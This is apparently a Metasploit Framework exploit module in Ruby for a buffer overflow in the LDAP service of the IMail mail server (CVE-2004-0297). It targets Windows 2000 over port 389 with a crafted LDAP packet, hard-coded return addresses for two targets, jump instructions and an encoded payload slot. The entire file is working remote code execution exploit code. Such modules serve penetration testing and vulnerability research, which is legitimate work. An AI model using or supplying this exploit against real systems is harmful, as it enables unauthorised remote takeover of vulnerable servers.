IMail LDAP Service Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'IMail LDAP Service Buffer Overflow',  
'Description' => %q{  
This exploits a buffer overflow in the LDAP service that is  
part of the IMail product. This module was tested against  
version 7.10 and 8.5, both running on Windows 2000.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-0297'],  
[ 'OSVDB', '3984'],  
[ 'BID', '9682'],  
[ 'URL', 'http://secunia.com/advisories/10880/'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x20",  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
  
["Windows 2000 English", { 'Ret' => 0x75023386 }],  
["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],  
],  
'DisclosureDate' => 'Feb 17 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(389)  
], self.class)  
end  
  
def exploit  
connect  
  
buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"  
buf << "\xcc" * 5000  
  
# Universal exploit, targets 6.x, 7.x, and 8.x at once ;)  
# Thanks for johnny cyberpunk for 6/7 vs 8 diffs   
  
buf[77, 4] = "\xeb\x06"  
buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x  
buf[85, 4] = "\xeb\x06"  
buf[89, 4] = [target.ret].pack('V') # 8.x  
buf[93, payload.encoded.length] = payload.encoded  
  
sock.put(buf)  
  
handler  
disconnect  
end  
  
end  
`